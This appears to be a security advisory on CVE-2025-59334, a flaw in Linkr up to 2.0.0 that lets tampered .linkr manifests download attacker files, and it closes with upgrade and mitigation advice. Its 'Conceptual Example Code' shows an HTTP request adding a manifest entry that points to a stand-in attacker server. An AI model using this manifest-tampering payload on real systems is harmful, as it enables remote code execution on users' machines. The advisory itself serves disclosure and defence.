Overview
The cybersecurity community is addressing a significant vulnerability identified in Linkr, a lightweight file delivery system. This vulnerability, referenced as CVE-2025-59334, poses a serious threat to systems running Linkr versions up to 2.0.0. The vulnerability arises from Linkr’s lack of verification of the integrity or authenticity of .linkr manifest files, making it possible for attackers to modify these files, leading to potential remote code execution.
Given the widespread use of Linkr for file distribution, this vulnerability is a cause for concern for all users, developers, and system administrators. The risk lies in the potential for system compromise and data leakage, which would be disastrous for both businesses and individuals alike.
Vulnerability Summary
CVE ID: CVE-2025-59334
Severity: Critical (9.6)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage
Affected Products
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Product | Affected Versions
Linkr | Up to 2.0.0
How the Exploit Works
The vulnerability lies in Linkr’s lack of verification of .linkr manifest files’ integrity and authenticity before using their contents. An attacker can manipulate a .linkr manifest, for instance, by adding a new entry with a malicious URL. When a user executes the extract command, the client downloads the attacker-supplied file without any form of verification. This allows the attacker to inject arbitrary files, creating a pathway for remote code execution if a downloaded malicious binary or script is later executed.
Conceptual Example Code
Below is a conceptual example of how an attacker might exploit this vulnerability. In this hypothetical scenario, an attacker modifies a .linkr manifest file by adding a new entry with a malicious URL:
PUT /path/to/linkr_manifest.linkr HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"Files": [
{
"Path": "/path/to/legitimate_file",
"URL": "http://legitimate_source.com/file"
},
{
"Path": "/path/to/malicious_file",
"URL": "http://attacker_controlled_server.com/malicious_file"
}
]
}In this example, the attacker has added a malicious file that will be downloaded and potentially executed when the user runs the extract command.
Mitigation and Solutions
The best course of action is to upgrade to Linkr version 2.0.1 or later, which has implemented a manifest integrity check to prevent this type of attack. If upgrading is not immediately feasible, users should only use trusted .linkr manifests and manually verify manifest integrity. Additionally, hosting manifests on trusted servers can provide a layer of protection. Implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can also serve as a temporary mitigation measure.
